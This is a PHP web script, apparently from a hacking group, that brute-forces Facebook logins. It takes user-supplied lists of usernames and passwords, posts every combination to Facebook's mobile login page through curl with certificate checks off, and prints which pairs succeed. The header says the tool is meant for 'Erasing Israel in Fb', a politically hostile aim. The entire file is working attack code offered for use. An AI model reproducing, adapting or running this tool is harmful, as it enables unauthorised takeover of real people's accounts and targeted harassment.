FaceBook Brute Force

<h3>FaceBook Brute Force </h3>
<?php
#################################################
#---------------------------------------------- #
# Facebook Brute Force 2014                     #
#Coded by : Mauritania Attacker&Noname-Haxor    #
#Greetz : All AnonGhost Members                 #
#This Tool Is For Erasing Israel in Fb          #
# --------------------------------------------- #
#################################################
@set_time_limit(0);
/* Edited By UzunDz */

echo "
<form method='POST'>
<textarea cols='50' class='area'  rows='13' name='username' placeholder='Usernames Lists'></textarea>
<textarea cols='15' class='area'  rows='13' name='password' placeholder='Passwords Lists'></textarea>
<br>
<input type='submit' name='scan' value='Start BruteForce'><br></form>";
if(isset($_POST['scan']) && $_POST['username'] != "" && $_POST['password'] != ""){

#function
function fbbrute($user,$pass){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
    curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
    $login = curl_exec($ch);
    return (eregi('class="s t i u"',$login)) ? true:false;
}

$targets = explode("\n", $_POST['username']);
$pwds = explode("\n", $_POST['password']);

foreach($pwds as $pwd){
    foreach($targets as $target){
        $check = fbbrute(trim($target),trim($pwd));
        if($check == true){
            echo "<font color='black'>Failed => $target : $pwd </font><br />";
        }else{
            echo "<font color='green'>Success => $target : $pwd </font><br />";
        }
    }

}

}